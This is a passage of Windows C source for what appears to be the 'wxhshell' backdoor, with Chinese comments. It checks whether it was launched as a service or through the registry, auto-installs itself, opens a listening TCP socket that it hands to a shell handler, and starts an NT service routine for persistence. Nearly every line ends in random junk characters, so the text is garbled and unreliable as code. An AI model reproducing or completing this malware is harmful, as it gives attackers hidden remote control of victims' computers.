DWORD BasePriority; +l;A L5h
ULONG UniqueProcessId; b] ~
ULONG InheritedFromUniqueProcessId; KEo?Cy?%ff
} PROCESS_BASIC_INFORMATION; <uvA([r=Vq
bFsJqA.A
PROCNTQSIP NtQueryInformationProcess; }xpo@(e
{!xDJnF;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `gz/?q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _:+ k|I
. H9a
HANDLE hProcess; b}J,&eYD
PROCESS_BASIC_INFORMATION pbi; \CrWKBL
Ir6g"kwCKq
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c|Fu6LF a
if(NULL == hInst ) return 0; ?u~?:a@K
Yz? 8n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zR5KC!xc
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Hd~H
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $fG~;`T
4nKlW_{,
if (!NtQueryInformationProcess) return 0; o "1X8v
Lc_cB`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); );d"gv(]D
if(!hProcess) return 0; 4rUOk"li
,P^4??' o
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,D2nUk
+ lZvj=gW
CloseHandle(hProcess); G<Y}QhFU
-YY@[5x?u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9{8xMM-
if(hProcess==NULL) return 0; h@fF`
AtNF&=Op
HMODULE hMod; <ToRPx&E
char procName[255]; <\oD4EE_
unsigned long cbNeeded; X9;51JV
;nAI;Qw L
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4P^CqD&i
v0KJKrliGO
CloseHandle(hProcess); k1~? }+<e
J*t_r-z
if(strstr(procName,"services")) return 1; // 以服务启动 mZ~f?{
sE! $3|Q
return 0; // 注册表启动 HM &"2c
} 3|=L1Pw#
lsKQZ@LN`
// 主模块 ,AwX7gx22
int StartWxhshell(LPSTR lpCmdLine) x+EEMv3u:
{ h_15 " rd
SOCKET wsl; yZc#@R[0
BOOL val=TRUE; hkx (r5o
int port=0; ._TN;tR~'
struct sockaddr_in door; L u1pxL
F~?|d0
if(wscfg.ws_autoins) Install();
Z31a4O
}70A>JBw
port=atoi(lpCmdLine); iC~ll!FA!
#3_
@aq*
if(port<=0) port=wscfg.ws_port; d[oHjWk
f7:}t+d
WSADATA data; ;lf $)3%[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lPw`KW
k(M(]y_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; QBb%$_Z
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CTJwZY7
door.sin_family = AF_INET; #Ve@D@d[
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7yUX]95y8
door.sin_port = htons(port); ]E^)d|_
5A+r^xN
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d fSj= 4
closesocket(wsl); 1u~a*lO}
return 1; 5em*9Ko
} j7~Rw"(XQc
Y|E rVf4
if(listen(wsl,2) == INVALID_SOCKET) { wY"BPl]b
closesocket(wsl); Y6m:d&p=}
return 1; /xCX. C
} P DwBSj
Wxhshell(wsl); jmF)iDvjuZ
WSACleanup(); 2^y*O
yiMqe^zy
return 0; PQP|V>g
KpT=twcK
} Y(=A HmR
Qcn;:6_&W
// 以NT服务方式启动 ,,]<f*N
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wK0],,RN,h
{ ~>XqR/v
DWORD status = 0; NRazI_Z
DWORD specificError = 0xfffffff; N1hj[G[H"
=k5O*ql"
serviceStatus.dwServiceType = SERVICE_WIN32; lYS*{i1^ '
serviceStatus.dwCurrentState = SERVICE_START_PENDING; sQn@:Gk
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o8~<t]Ejw
serviceStatus.dwWin32ExitCode = 0; 9ePom'1f1
serviceStatus.dwServiceSpecificExitCode = 0; }8'b}7!
serviceStatus.dwCheckPoint = 0; 6[-[6%o#z
serviceStatus.dwWaitHint = 0; ,n$NF0^l
*d9RD~Ee
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B7PdavO#
if (hServiceStatusHandle==0) return; +v<
\l=
Qh+zs^-?
status = GetLastError(); i5gNk)D
if (status!=NO_ERROR) d6)+d9?<